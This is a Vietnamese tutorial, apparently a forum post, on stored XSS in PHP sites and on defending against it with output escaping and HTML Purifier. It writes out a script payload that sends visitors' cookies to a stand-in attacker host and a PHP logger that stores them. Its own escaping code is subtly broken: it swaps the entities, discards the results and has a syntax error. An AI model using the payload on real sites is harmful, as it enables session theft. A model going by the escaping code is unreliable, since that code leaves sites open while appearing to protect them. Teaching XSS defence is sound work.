Đa số các bạn lập trình web PHP đều đã nge quá khái niệm XSS (Cross-Site Scripting) . Nếu các bạn ai đã và đang lập trình web chưa quan tâm đến vấn đề này thì hãy cố gắng đọc và thực hành nhé , rất thiết thực đấy !

1. Khái niệm
XSS (Cross-Site Scripting) là kỷ thuật tấn công website nhờ vào mã javascript .Hiện tồn tại 2 hình thức : Stored XSS và Reflected XSS

- Stored XSS : là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một chức năng nào đó
Ví dụ : viết lời bình, guestbook, gởi bài..),
Khi các nội dung : bình luận , gởi bài .. này được lưu vào database . Sau đó người dùng truy cập vào nội dung này sẽ bị dính mã độc , vì do người lập trình viên không lọc dữ liệu trước khi hiển thị ra .

Ví dụ : 
- Khi truy vào website http://myblog.com đăng nhập để xem thông tin bài viết mới , tin nhắn ….

- Cũng 1 thành viên khác có tài khoản của website , cũng đăng nhập và viết bình luận , trong nội dung bình luận có đoạn mã sau :

PHP Code:
<script>window.location=”http://site-hacker.com/get_cookie.php?phpcc=”+document.cookie+”&url=http://myblog.com”;</script>  
- Trong site của hacker (http://site-hacker.com) , file get_cookie.php nhận request từ đoạn script của site cần tấn công, sau đó lưu thông tin lại tại site của hacker . Nội dung đoạn code lưu thông tin :
PHP Code:
<?php
$myFile 
"cookie.txt";$fh fopen($myFile'a+');$bien=$_REQUEST['cc'].":".$_REQUEST['url']."\n";fwrite($fh,$bien);fclose($fh);
echo(
"<script>window.location='".$_REQUEST['url']."';</script>");?>
- Sau khi lấy được thông tin (Cookie và URL) , Hacker truy lại vào website cần tấn công (http://myblog.com) . Dùng một số chương trình import để thay đổi Cookie của Victims là có thể truy cập được thông tin của của Victims .
- Lưu ý là Cookie phải còn thời hạn mới truy cập được .
 

2. Cách khắc phục :

Để phòng chống tốt nhất XSS là theo nguyên tắc FIEO (Filter Input, Escape Output). Để làm việc này thì hiện tại có khá nhiều bộ lọc để chúng ta lựa chọn. Hôm nay mình giới thiệu tới các bạn một bộ thư viện viết bằng PHP cho phép filter HTML để ngăn chặn kẻ xấu post mã độc XSS thông qua website của bạn,
Cách 1 :Viết mã lọc nội dung theo nguyên tắc FIEO (Filter Input, Escape Output) . Vì các đoạn mã độc bắt đầu vối “<script>” và kết thúc với “</script>” . Thay : “<” và “>” = “&gt;” và “&lt;” (các thực thể html) .Ta có đoạn code sau :

PHP Code:
str_replace("<","&gt;",$info);str_replace(">","&lt;",$info);str_replace("'","&apos;",$info);str_replace(""","&quot;",$info);
str_replace("
&","&amp;",$info);  
Cách 2 : Dùng thư viện có sẵn , đó là HTML Purifier. Website: http://htmlpurifier.org/
HTMLPurifier.png


Nói sơ qua về HTML Purifier thì đây là bộ thư viện rất mạnh dùng triển khai trong code của mình để chống XSS. Được xây dựng theo mô hình OOP nên sử dụng rất dễ, sau thao tác include file thư viện, chỉ cần tạo instance của đối tượng HTML Purifier và gọi phương thức purify() là có thể filter được dữ liệu đầu vào. 

PHP Code:
<?phprequire_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';$purifier = new HTMLPurifier();$clean_html $purifier->purify($dirty_html);
- Xem sao sánh HTML Purifier với các thư viện khác và chức năng chính của nó tại đây 

Bài viết tổng hợp từ :
http://bloghoctap.com
http://tranphuochung.wordpress.com 

Ebook XSS Attacks
500x500_291699_file.jpg
- Cross-site Scripting Fundamentals.
- The XSS Discovery Toolkit
- XSS Theory
- XSS Attack Methods
- Advanced XSS Attack Vectors
- XSS Exploited
- Exploit Frameworks
- XSS Worms
- Preventing XSS Attacks


Hy vọng với bài viết tổng hợp vừa có lý thuyết và vừa ví dụ cụ thể sẽ giúp các bạn phần nào trong vấn đề security .

P/S :
- Bài viết không đề cập đến vấn đề sử dụng PHP Framework
- Bài viết chỉ dành cho các member đã am hiểu về PHP cơ bản